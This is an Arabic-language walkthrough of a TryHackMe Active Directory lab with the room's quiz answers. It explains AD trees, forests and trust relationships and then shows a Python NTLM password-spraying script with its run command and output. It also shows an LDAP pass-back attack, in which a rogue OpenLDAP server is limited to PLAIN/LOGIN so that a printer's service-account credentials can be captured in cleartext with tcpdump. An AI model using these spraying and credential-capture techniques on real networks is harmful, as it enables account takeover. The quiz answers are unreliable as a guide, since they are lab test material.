عند استخدام NetNTLM، هل يتم نقل كلمة مرور المستخدم عبر الشبكة في أي وقت؟ (yay/nay)
nay
اداره الـ Treesو Forests بالـ Active Directory
لهسا حكينا عن كيفيه إدارة domain واحد ودور وحدة التحكم بالـ domain وكيفية انضمام أجهزة الكمبيوتر والخوادم والمستخدمين... لما تكبر الشركات بتنمو شبكاتها كمان ووجود domain واحد لشركة بكفي بالبداية لكن مع مرور الوقت ممكن تحتاج أكثر من domain واحد

الـ Trees
تخيل مثلا انه شركتك توسعت فجأة لدولة جديدة الدولة الجديدة الها قوانين ولوائح مختلفة بتتطلب منك مثلا تحدث سياسات الـ GPO للامتثال لقوانينها وكمان عندك فريق IT بكل من البلدين وكل فريق IT بحتاج لإدارة الموارد التي بتخص كل بلد بدون التدخل في بعمل الفريق الآخر
في حين أنه بإمكانك تنشئ هيكل OU معقد وتستخدم الـ delegations لتحقيق هاد لكن ممكن يكون من الصعب إدارة هيكل AD كبير وعرضة للأخطاء البشرية
الـ Active Directory بدعم تدمج عدة نطاقات بحيث بإمكانك تقسم شبكتك لوحدات يمكن إدارتها بشكل مستقل إذا كان عندك domain 2 بشتركوا بنفس الاسم ( thm.local في مثالنا ) بأمكاننا ندمج هذول النطاقيات بـ Trees
إذا تم تقسيم نطاق thm.local إلى نطاقين فرعيين لفروع مثلا UK و US بإمكانك تبني الـ Trees بالـ domain الاصلي thm.local ونطاقين فرعيين ( subdomains ) يسمى uk.thm.local و us.thm.local ، كل منها يحتوي على AD أجهزة كمبيوتر ومستخدمين :

بمنحنا هاد الهيكل المقسم تحكم أفضل ب من بإمكانه الوصول إلى ماذا بالـ domain بحصل فريق الـ IT بالـ US على وحدة تحكم بالـ domain الخاص فيهم ( بديرو موارد الـ us بس ) مثلا ما بقدر حد من فريق الـ IT انه يدير مستخدم من الـ UK
هيك بكون لمديري الـ domain بكل فرع سيطرة كاملة على وحدات التحكم بالـ domain الخاصة فيهم ولكن ليس على وحدات التحكم بالـ domain الخاصة بالفروع الأخرى وبأمكاننا كمان نكون سياسات بشكل مستقل لكل domain بالـ Trees
يجب تقديم مجموعة أمان جديدة لما نحكي عن الـ Treesو Forests بنمنح مجموعة الـ Enterprise Admins للمستخدم امتيازات إدارية على جميع نطاقات المؤسسة كل نطاق بكونله مديري نطاق بصلاحيات إدارية على نطاقهم بس والـ Enterprise Admins اللي بإمكانهم يتحكمو بكل اشي بالمؤسسة
الـ Forests
لنفترض أن شركتك بتستمر بالنمو و بالنهاية بتستحوذ على شركة ثانيه تسمى MHT Inc لما تندمج الشركتان بكون عند على الأرجح domain trees مختلفة لكل شركة يديرها كل منها قسم تكنولوجيا المعلومات الخاص فيه الاتحاد بين عدة trees بأسماء مختلفة بنفس الشبكة يعرف بالـ Forests

الـ Trust Relationships
وجود عدة domain منظمة بـ Treesو Forests بسمحلك بوجود شبكة مقسمة بشكل جيد من حيث الإدارة والموارد لكن بمرحلة معينة ممكن تحتاج مستخدم بالـ THM UK للوصول لملف مشترك بأحد خوادم MHT ASIA عشان هاد الاشي يحدث يتم ربط الـ domains المنظمة بالـ Treesو Forests ببعضها البعض بواسطة الـ Trust Relationships
وجود علاقة موثوقة بين الـ domains بسمحلك باعطاء صلاحيه لمستخدم من domain الـ THM UK للوصول لموارد لـ domain الـ MHT EU
أبسط علاقة موثوقة يمكن إقامتها هي علاقة موثوقة باتجاه واحد
بالعلاقة الموثوقة باتجاه واحد إذا كان domain الـ AAA يثق في domain الـ BBB ف يعني أن مستخدماً بـ BBB يمكن السماح له للوصول لموارد بـ AAA :

اتجاه العلاقة الموثوقة باتجاه واحد يكون عكس اتجاه الوصول
يمكن أيضاً إقامة علاقات موثوقة باتجاهين للسماح لكل domain بالسماح للمستخدمين من الـ domain الثاني بالوصول لموارد بعض , بشكل افتراضي دمج عدة domains تحت Trees او Forests بشكل علاقة موثوقة باتجاهين
من المهم ملاحظة أن وجود علاقة موثوقة بين الـ domain لا يمنح تلقائياً الوصول إلى جميع الموارد بالـ domain الثانية , بمجرد إنشاء علاقة موثوقة بكون عندك الفرصة لتسمح للمستخدمين عبر domains مختلفة , لكن الموضوع برجعلك باللي بتسمحه او لا
ما هي مجموعة نطاقات ويندوز التي تشترك في نفس مساحة الاسم؟
Tree
ما الذي يجب تكوينه بين نطاقين لكي يتمكن مستخدم في نطاق A من الوصول إلى مورد في نطاق B؟
A Trust Relationship
مقدمة عن اختراق الـ Active Directory
الوصول الأولي واختراق Active Directory
قبل ما نبلش ندور على اخطاء او ثغرات او كيف نرفع صلاحيات بالـ AD بنحتاج نوصل اول اشي , بكلمات ادق بنحتاج بيانات عن الـ AD وعاده اول اشي بنعمله قبل اي عمليه ختراق او اي عمليه فحص بنعمل Enumeration وطبعا بسبب عدد الخدمات الوميزات بالـ AD ف الهجوم عشان نحصل على بيانات اوليه بكون مهمحتى لما نحكي عن بيانات اوليه ما بنحكي عن الاذونات اللي مرتبطه بالحساب نفسه بس بدنا طريقه نكون ( يكون النا مكان ) بالـ AD عشان نعمل Enumeration عالـ AD نفسه
عشان نتصل بالشبكة الخاصه بـ TryHackMe
إذا كنت بتستخدم الـ AttackBox من الويب بتلاقيه موصلك بالشبكة تلقائي بإمكانك تتاكد باستخدام أمر ping للتحقق من IP الـ host اللي هو THMDC.za.tryhackme.com ولكن بس بدنا نزبط اعدادات الـ DNSشبكات الـ Windows بتستخدم خدمة الـ Domain Name Service لجعل أسماء الـ host لـ IPs
لتكوين الـ DNS بنستخدم الأمر :
كود:
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com
كود:
nslookup thmdc.za.tryhackme.com
إذا كنت بتستخدم جهازك بتم توليد ملف OpenVPN من اعدادات الوصلول بحسابك ( access )بنروح عالصفحه
بنختار BreachingAD من خوادم الـ VPN وبنزله
على لينكس بنستخدم الامر هاد عشان نتصل عن طريق اداه OpenVPN
كود:
sudo openvpn breachingad.ovpn
تصحيح أخطاء الـ DNS
تصحيح أخطاء DNS جزء أساسي من اختبار Active Directory والسبب هو أن أحد بروتوكولي المصادقة الرئيسيين في AD وهو الـ Kerberos بعتمد على الـ DNS لإنشاء التذاكر زي ما حكينا قبل لا يمكن ربط التذاكر بعناوين الـ IP عشان هيك الـ DNS ضروري عند اختبار شبكات الـ AD بالتقييمات الأمنية لازم يكون عندك مهارات لحل مشاكل الـ DNS
عندك خيارين عادةً :
1. تسجيل إدخالات الـ DNS يدويًا بملف etc/hosts/ ممكن يكون هاد الحل فعال بس مش عملي إذا كنت بتختبر شبكات بتضم مثلا أكثر من 10,000 hosts
2. ممكن توخذ وقت وانت بتحل مشاكل الـ DNS ممكن يكون الاشي صعب بس بعطي نتائج أفضل على المدى الطويل
لما تواجه مشكلة بإحدى المهام بتسأ حالك هل DNS شغال ؟ ممكن تكون ضيعت وقت بتسأل حالك ليش ما بتشتغل الادوات اذا ما بتكون المشكله من الادوات بكون بس انه الـ DNS تغير
خطوات تصحيح أخطاء DNS :
اتبع الخطوات بس حسب نوع جهازكإذا كنت بتستخدم نظام تشغيل مختلف بتبحث على Google بتلاقي إعدادات لجهازك
1. بتشغل الأمر
كود:
ping <THM DC IP>
2. بنشغل امر
كود:
nslookup tryhackme.com <THM DC IP>
3. بنشغل امر
كود:
nslookup tryhackme.com
ملاحظة:
الشبكات بالـ AD مصنفة كمتوسطة الصعوبة عشان هيك اذا انت هسا تطبق عملي على طول من الافضل انك تبدا باشي اسهل وتطبق عليه لانه الـ AD نظام ضخم وبتحتاج لـ عقلية استكشافية عشان تنجح باختبارهتقنيات اختراق الـ Active Directory
الـ OSINT و الـ Phishing
طريقتين مشهورين عشان نقدر نحصل على أول مجموعة من بيانات الدخول للـ Active Directory بنذكرهم بشكل سريع لأننا سبق وحكينا عنهم بمسار اختبار الاختراق بالتفصيل
الـ OSINT
الـ OSINT بستخدم عشان نكتشف معلومات متاحة للعامة بالنسبة لبيانات دخول الـ Active Directory هاد ممكن يحصل لأسباب زي :
مستخدمين بسألوا بمنتديات عامة زي Stack Overflow وبكشفوا عن معلومات حساسة زي بيانات دخول بالسؤال مثلا
مطورين بنزلوا سكريبتات على مواقع زي Github وفيها بيانات دخول مكتوبة بشكل مباشر مثلا
بيانات دخول اللي بتنكشف بتسريبات سابقة لأن الموظفين استخدموا حسابات الشغل الخاصه فيهم بتسجيل بمواقع خارجية مواقع زي HaveIBeenPwned و DeHashed بتوفر منصات ممتازة عشان نحدد إذا كانت معلومات شخص ما زي البريد الإلكتروني الخاص بالشغل الخاص فيه تم الكشف عنها بتسريب معروف علنًا
باستخدام تقنيات الـ OSINT ممكن نقدر نسترجع بيانات دخول متاحة للعامة لو كنا محظوظين ولقينا بيانات دخول بنضل محتاجين نلاقي طريقة نختبر إذا كانت صالحة ولا لأ لأن معلومات الـ OSINT ممكن تكون قديمة
كمان شوي راح نحكي عن خدمات الـ NTLM Authenticated اللي ممكن توفر طريقة ممتازة لاختبار بيانات الدخول هاي عشان نشوف إذا كانت لسه صالحة ولا لأ
الـ Phishing
الـ Phishing طريقة ممتازة ثانية لاختراق الـ Active Directory
الـ Phishing عادةً بحاول يخدع المستخدمين إنهم يقدموا بيانات الدخول الخاصه فيهم على صفحة ويب خبيثة أو بنطلب منهم يشغلو تطبيق معين اللي بدوره بنزل مثلا Remote Access Trojan (RAT) بالخلفية هاي الطريقة منتشرة جدًا لأن الـ RAT بشتغل بسياق المستخدم وبالتالي بمكنك انك تنتحل حساب المستخدم بالـ Active Directory مباشرةً عشان هيك الـ Phishing موضوع كبير للـ Red and Blue teams
ما هو موقع الويب الشهير الذي يمكن استخدامه للتحقق مما إذا كان عنوان بريدك الإلكتروني أو كلمة المرور الخاصة بك قد تم كشفهما في أي وقت مضى في عملية خرق بيانات تم الكشف عنها علنًا؟
HaveIBeenPwned
الـ NTLM
الـ NTLM هو نظام أمان بستخدمه الـ Active Directory لتأكيد هوية المستخدمين الـ NTLM بستخدم نظام اسمه NetNTLM عشان يأكد الهوية بطريقة challenge-response-based الطريقة هاي تستخدم كثير بالشبكات بس ممكن الخدمات اللي بتستخدمها تنعرض على الإنترنت مثلا :
1. سيرفرات البريد الإلكتروني اللي بتستخدم Outlook Web App للتسجيل
2. خدمة الـ Remote Desktop Protocol
نقاط الـ VPN endpoints اللي متصلة بـالـ Active Directory
تطبيقات ويب بتستخدم NetNTLM
الـ NetNTLM
الـ NetNTLM يسمى ايضا Windows Authentication بخلي التطبيق يلعب دور الوسيط بين العميل و الـ Active Directory كل معلومات التحقق بتروح للـ Domain Controller على شكل challenge ولو نجح التطبيق بأكد هوية المستخدم
يعني التطبيق بأكد هوية المستخدم بالنيابة عنه بشكل مش مباشر هاد بمنع التطبيق من تخزين بيانات الـ Active Directory اللي المفروض بتتخزن بس بالـ Domain Controller

هجمات التخمين Brute-force Login Attacks
الخدمات اللي معروض على النت طريقه منيحه عشان نجرب البيانات اللي حصلنا عليها باي طريقه ممكن نحاول نستخدمها لهجمات الـ Brute-force عشان نلاقي بيانات Active Directory صحيحة
لكن معظم بيئات الـ Active Directory بكون فيها خاصية قفل الحساب بعد محاولات فاشلة كتير ف ما بنقدر نعمل هجوم Brute-force كامل
بدل منعلم هيك بنعمل هجوم اسمه password spraying بنجرب باسورد واحد مع كل الأسماء اللي عندنا الهجوم هاد بنكشف بسهولة عشان بولد عدد كبير من المحاولات الفاشلة
مثال عملي
عننا قائمه الـ بأسماء مستخدمين حصلنا عليها عن طريق OSINT (تجسس عن طريق المعلومات العامة)
التمرين كمان أشار إن باسورد الشركة الأولي هو Changeme123 رغم إن المستخدمين المفروض يغيروا الباسورد هاد بس في ناس بتنسى بنستخدم سكريبت مخصص لعمل هجوم password spraying على الويب موجود على الرابط : http://ntlmauth.za.tryhackme.com
لما ندخل على الرابط بنلاقي إنه بطلب بيانات تسجيل Windows Authentication لو بدك تجرب البيانات يدويًا استخدم Chrome عشان Firefox بكون فيه مشاكل من الناحيه هاي
سكريبت الهجوم
ممكن نستخدم أدوات زي Hydra او Burp suite للهجوم بس يفضل نكتب سكريبت بنفسنا عشان نتحكم بالعملية الكود هاد هو الجزء الرئيسي من السكريبت :
Python:
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
الكود هاد باخد الباسورد والرابط اللي بنستهدفه كمدخلات وبحاول يدخل باستخدام كل اسم مستخدم موجود بالملف النصي ( اللي معطينا اياه بالتحدي ) عن طريق مراقبة رقم الاستجابة من الموقع بنقدر نعرف إذا كانت البيانات صحيحة ولا لأ لو البيانات صحيحة التطبيق برد بكود 200 (OK) لو البيانات غلط التطبيق برد بكود 401 (Unauthorized)
تشغيل السكريبت
لو بتستخدم الـ AttackBox بتلاقي السكريبت والملف النصي للأسماء بالمسار /root/Rooms/BreachingAD/task3/ لتشغيل السكريبت استخدم الأمر هاد :
كود:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
الـ <userfile> - الملف النصي اللي فيه أسماء المستخدمين - usernames.txt
الـ <fqdn> - الدومين المرتبط بالشركة اللي بنهاجمها - za.tryhackme.com
الـ <password> - الباسورد اللي هنستخدمه في الهجوم - Changeme123
الـ <attackurl> - رابط التطبيق اللي بدعم الـ Windows Authentication هو http://ntlmauth.za.tryhackme.com
باستخدام القيم هاي بنلاقي بعض بيانات الدخول الصحيحة من الهجوم
مثال عملي لتشغيل الهجوم:
كود:
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found
باستخدام مزيج من الـ OSINT و الـ NetNTLM password spraying بنلاقي أول بيانات دخول صحيحة بنقدر نستخدمها لاستكشاف الـ AD بشكل أكبر
ما اسم آلية مصادقة التحدي والاستجابة التي تستخدم NTLM؟
NetNTLM
ما هو اسم المستخدم لزوج بيانات الاعتماد الصالح الثالث الذي تم العثور عليه بواسطة البرنامج النصي لرش كلمة المرور؟
gordon.stevens
كم عدد أزواج بيانات الاعتماد الصالحة التي تم العثور عليها بواسطة البرنامج النصي لرش كلمة المرور؟
4
ما هي الرسالة التي يعرضها تطبيق الويب عند المصادقة باستخدام زوج صالح من بيانات الاعتماد؟
Hello World
الـ LDAP
الـ LDAP هو بروتوكول يستخدم للمصادقة بالـ Active Directory مثل NTLM
الـ LDAP بسمح لتطبيقات معينة بالتحقق مباشرة من بيانات دخول المستخدمين التطبيق بمتلك زوج من بيانات Active Directory اللي بنستخدمهم عشان نعمل query للـ LDAP والتحقق من بيانات المستخدم
مصادقه الـ LDAP مشهور بين التطبيقات الـ third-party (مش اللي لمايكروسوفت) اللي بتتواصل مع الـ Active Directory مثل :
- Gitlab
- Jenkins
- Custom-developed web applications
- Printers
- VPNs
إذا كان واحد من هاي التطبيقات أو الخدمات على النت بإمكانها تتعرض لنفس الهجمات اللي بتحصل مع أنظمة الـ NTLM
ولأن الـ LDAP بحتاج بيانات Active Directory هاد بفتح طرق جديدة للهجمات ممكن نحاول نسترجع بيانات Active Directory اللي بتستخدمها الخدمة للوصول للـ Active Directory
عمليه المصادقه من خلال الـ LDAP موضحه بالصوره

هجوم Pass-back على الـ LDAP
هو نوع من الهجمات اللي بتم ضد الأجهزة مثل الطابعات الهجوم بتم لما يكون عننا وصول أولي للشبكة الداخلية مثل توصيل rogue device بغرفة الاجتماعاتقصدنا بـ rogue device جهاز غير مرخص بندخله للشبكه بهدف اختراقها ممكن يكون تلفون او لابتوب او اي جهاز هدفه يخترق الشبكه
غالبًا بيانات الدخول للواجهة الافتراضية بتكون زي admin , admin أو admin , password هون ما بنقدر نستخرج بيانات LDAP مباشرة لأنو ما معنا كلمة المرور لكن ممكن نغير إعدادات الـ LDAP مثل عنوان الـ IP او الـ hostname الخاص بالسيرفر
في الهجوم هاد بنقدر نغير الـ IP بنخليه IP للجهاز الخاص فينا ونجرب إعدادات LDAP اللي بتجبر الجهاز يحاول المصادقة مع جهازنا وبعدها بنقدر نعترض محاوله المصادقه هاي عشان نسترجع LDAP credentials صالحه
تنفيذ الهجوم
بشبكة معينة فيه طابعة ما بتطلب بيانات دخول للوصول لإعداداتها بنروح للعنوان هاد http://printer.za.tryhackme.com/settings.aspx بعد ما نتصل بالخطوات اللي شرحناها فوقبنقدر نتحقق باستخدام الـ inspection بالمتصفح إنه الطابعة ما بترسل كلمة المرور مباشرة للمتصفح
عننا اسم المستخدم لكن مش كلمة المرور
لما نضغط على Test Settings الطابعة بترسل طلب مصادقة للتحقق من بيانات الـ LDAP ممكن نستغل هاد الطلب وبنجعل الطابعة تتواصل معنا بدل السيرفر الفعلي ونحصل على البيانات
بنشغل الـ listener باستخدام الـ Netcat
بنقدر نستخدم الـ Netcat عشان نستمع على الاتصالات على المنفذ 389 (المنفذ الافتراضي لـ LDAP) بنستخدم الأمر هاد :
كود:
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
objectclass0?supportedCapabilities
ممكن تحتاج أكثر من محاولة عشان تحصل على اتصال لكن المفروض يستجيب بحدود الـ 5 ثواني
رد الـ supportedCapabilities بخبرنا بوجود مشكلة بالأساس قبل ما ترسل الطابعة بيانات الدخول بتحاول تستفسر على تفاصيل طريقة الـ LDAP authentication بتستخدم هاد الاستفسار لاختيار الطريقة الأكثر أمان اللي بتدعمها كل من الطابعة وخادم الـ LDAP
إذا كانت طريقة المصادقة آمنة للغاية ف اكيد ما رح يتم نقل بيانات الدخول بنص واضح ببعض طرق المصادقة لا يتم نقل بيانات الدخول عبر الشبكة على الإطلاق! عشان هيك ما بنقدر نستخدم الـ Netcat العادي للحصول على بيانات دخول بنحتاج لإنشاء خادم LDAP غير آمن وتكوينه بطريقة بتضمن إرسال بيانات دخول بنص واضح
استضافة سيرفر LDAP مزيف
بنحتاج نستضيف سيرفر LDAP مزيف بستخدم مصادقة عادية ( PLAIN و LOGIN ) بنستخدم الـ OpenLDAP لو بتستخدم الـ AttackBox بتلاقي الـ OpenLDAP مثبت بالفعل لكن لو بنستخدم جهازنا بنثبته بالأمر هاد :
كود:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
بعدها لازم نعيد تهيئة السيرفر بالأمر هاد :
كود:
sudo dpkg-reconfigure -p low slapd
بعدها راح يطلعلك نافذه تأكد انك تظغط على no
بالنسبه للـ DNS بنختار الـ DNS تاع الهدف تاعنا الا وهو za.tryhackme.com

ولاسم الـ Organisation بنختار نفس الاشي الا وهو za.tryhackme.com


بعدها بنختار MDB كقاعده بيانات LDAP لاستخدامها

بعدها بنتأكد من الخيار هاد انو ما يمحي الداتابيز

اخر خيار بنختار نعم انو ينقل ملفات قاعده اليانات القديمه قبل ما ينشئ ملف جديد

قبل ما نستخدم خادم الـ LDAP بنحتاج نخليه ضعيف عن طريق خفض آليات المصادقة المدعومة بدنا نتأكد من أنه خادم LDAP الخاص فينا بدعم فقط طرق المصادقة PLAIN و LOGIN
عشان نعمل هاي الاعدادات بنحتاج ننشئ ملف وبنسميه olcSaslSecProps.ldif بالمحتوى التالي :
كود:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
الملف بحتوي على الخصائص التالية:
- الـ olcSaslSecProps : بحدد خصائص أمان SASL
- الـ noanonymous : بعطل الآليات اللي بتدعم تسجيل الدخول المجهول
- الـ minssf : بحدد الحد الأدنى لقوة الأمان المقبولة بـ 0 مما يعني عدم وجود حماية
كود:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
بإمكاننا نتحقق من تطبيق اعدادات خادم الـ LDAP الخاص فينا باستخدام الأمر التالي
(ملاحظة: إذا بتستخدم Kali ممكن ما تحصل على أي نتيجه لكن التكوين يجب أن يكون نجح وبإمكانك متابعة الخطوات التالية ):
كود:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
الان تم تكوين خادم الـ LDAP
لما نضغط على Test Settings بـ http://printer.za.tryhackme.com/settings.aspx تتم المصادقة بنص واضح إذا قمت بتكوين خادم LDAP بشكل صحيح وتم تخفيض الاتصال بتتلقى الخطأ التالي This distinguished name contains invalid syntax إذا تلقيت هاد الخطأ بإمكانك تستخدم tcpdump لالتقاط بيانات الاعتماد باستخدام الأمر التالي :
كود:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73 isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5010 01f6 2930 0000 P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@[email protected]
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11
بتظهر النتيجة على شكل حزم بيانات وبتتمكن من رؤية بيانات الاعتماد المرسلة بنص واضح
ملخص
من خلال استخدام هجوم الـ LDAP pass-back وتخفيض آلية المصادقة المدعومة تمكنا من اعتراض بيانات الاعتماد بنص واضح
ما نوع الهجوم الذي يمكن تنفيذه ضد أنظمة مصادقة LDAP التي لا توجد عادة ضد أنظمة مصادقة Windows؟
LDAP Pass-back Attack
ما هي آليتي المصادقة اللتين نسمح بهما على خادم LDAP المخادع الخاص بنا لخفض مستوى المصادقة وجعلها نصًا واضحًا؟
LOGIN,PLAIN
ما هي كلمة المرور المرتبطة بحساب svcLDAP؟
tryhackmeldappass1@
مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD
بـ شبكات الويندوز في خدمات كثيرة بتتواصل مع بعض عشان المستخدمين يقدروا يستخدموا الخدمات اللي بتقدمها الشبكة
التوثيق الشبكي في ويندوز
قبل حكينا عن الـ NTLM المستخدم بتطبيقات الويب هسا راح نغوص أعمق بكيفية عمل هاد التوثيق من منظور الشبكة وراح نركز على توثيق الـ NetNTLM اللي بستخدمه بروتوكول الـ SMB
بروتوكول الـ Server Message Block ( SMB )
بروتوكول الـ SMB بسمح للعملاء (زي الكمبيوترات) بالتواصل مع السيرفر (زي خوادم الملفات)
بالشبكات اللي بتستخدم Active Directory من مايكروسوفت الـ SMB بتحكم بكل اشي من مشاركة الملفات بين الشبكات ( لغاية إدارة الأجهزة عن بُعد ) حتى إشعار نفد الورق ( اللي بظهرلك لما تحاول تطبع مستند ) الاشعار من الـ SMB
لكن أمان النسخ القديمة من بروتوكول SMB كان غير كافي اكتشفوا ثغرات ممكن تستغل لاسترجاع بيانات الاعتماد أو حتى تنفيذ كود على الأجهزة بالرغم من أن بعض الثغرات تم اصلاحها بالنسخ الأحدث من البروتوكول لكن منظمات كثيره ما بتفرض استخدام النسخ الأحدث عشان الأنظمة القديمة ما بتدعمها
راح نحكي عن نوعين من الـ exploits لمصادقة الـ NetNTLM مع الـ SMB :
1. التحليل غير المباشر Offline Cracking : لانه يمكن اعتراض الـ NTLM Challenges ممكن نستخدم تقنيات اختراق دون ما نتصل بالنت لاستعاده كلمه المرور المرتبطه بـ NTLM Challenges لكن العمليه هاي ابطأ بكثير من كسر الـ NTLM hashes نفسه
2. الهجوم بين العميل والخادم Man-in-the-Middle Attack : ممكن نستخدم جهازنا المزيف لعمل هجوم بين العميل والخادم اللي بوفرلنا جلسه مصادقة نشطه وامكانيه الوصول لخادم الهدف
الـ LLMNR والـ NBT-NS والـ WPAD
هون راح نركز الى الـ authentication اللي بحصل أثناء استخدام الـ SMB بنستخدم أداة Responder لمحاولة اعتراض الـ NTLM Challenges وتحليله بالشبكة عادةً بكون فيه كثير من هاي التحديات وبعض الحلول الأمنية انك تعمل مسح لنطاقات الـ IP كاملة لاسترجاع معلومات من الأجهزة , أحيانًا بسبب سجلات الـ DNS القديمة التحديات هاي ممكن توصل لجهازنا المزيف بدل من الجهاز المقصود
أداة Responder بتسمحلنا بتنفيذ هجمات الـ Man-in-the-Middle عن طريق تسميم الـ Response أثناء الـ NetNTLM authentication ، وبتخدع العميل عشان يكلمك بدل السيرفر الاصلي , بالشبكات الكبيرة البروتوكولات الـ LLMNR والـ NBT-NS والـ WPAD بتسمح للأجهزة بإجراء DNS لوكلي للعثور على الأجهزة على نفس الشبكة المحلية بدلا من تحميل موارد الشبكة مثل خوادم الـ DNS
الـ LLMNR
اول اشي الأجهزة بتحاول تحدد إذا كان الجهاز اللي بدورو عليه على نفس الشبكة المحلية عن طريق إرسال طلبات LLMNR وبشوفو اذا في اي اجهزه بترد
الـ NBT-NS , WPAD
الـ NBT-NS هو البروتوكول السابق لـ LLMNR وطلبات الـ WPAD بتتم للعثور على وكيل للاتصالات HTTP/HTTPS المستقبلية
بما أن هاي البروتوكولات بتعتمد على الطلبات المرسلة على الشبكة المحلية , جهازنا المزيف بتلقى هاي الطلبات
عادة الطلبات هاي تهمل لأنها مش موجهة لجهازنا لكن الـ Responder بتستمع لهاي الطلبات وبترسل استجابات مسمومة بتخبّر الجهاز المرسل أن عنوان الـ IP الخاص بجهازنا مرتبط باسم المضيف المطلوب من خلال تسميم هاي الطلبات
الـ Responder بتحاول تقنع العميل بالاتصال بجهازنا المزيف وبتبدأ باستضافة خوادم متعددة مثل SMB و HTTP و SQL لالتقاط هاي الطلبات واجبارها على المصادقة
اعتراض تحدي NetNTLM
نقطة مهمة الـ Responder بحاول بشكل اساسي انه يفوز بحاله السباق عن طريق تسميم الاتصالات عشان يضمن اعتراض الاتصال وعادةً ما بتسمم الـ authentication challenges على الشبكة المحلية , بما اننا متصلين عن طريق الـ VPN بنقدر نسمم بس اللي على هاي الشبكة عشان هيك عملو عمليه محاكاه لطلب مصادقه بامكاننا نسممه وبشتغل كل 30 دقيقة يعني ممكن نحتاج نستنا قبل ما نعترض الـ NetNTLM challenges ونرد عليه
رغم أن الـ Responder بإمكانه يعترض ويسمم المزيد من طلبات المصادقة عند تشغيلها من جهازنا المزيف المتصل بشبكة LAN
مهم نفهم أنه هاد السلوك ممكن يكون مزعج وملحوظ , بتسميم طلبات المصادقة المحاولات الطبيعية للمصادقة على الشبكة راح تفشل مما يعني أن المستخدمين والخدمات ما رح يتصلوا بالأجهزة والمشاركة التي بدهم اياها خليك واعي لهاد الموضوع لما تستخدم الـ Responder بالتقييم أمني
استخدام Responder
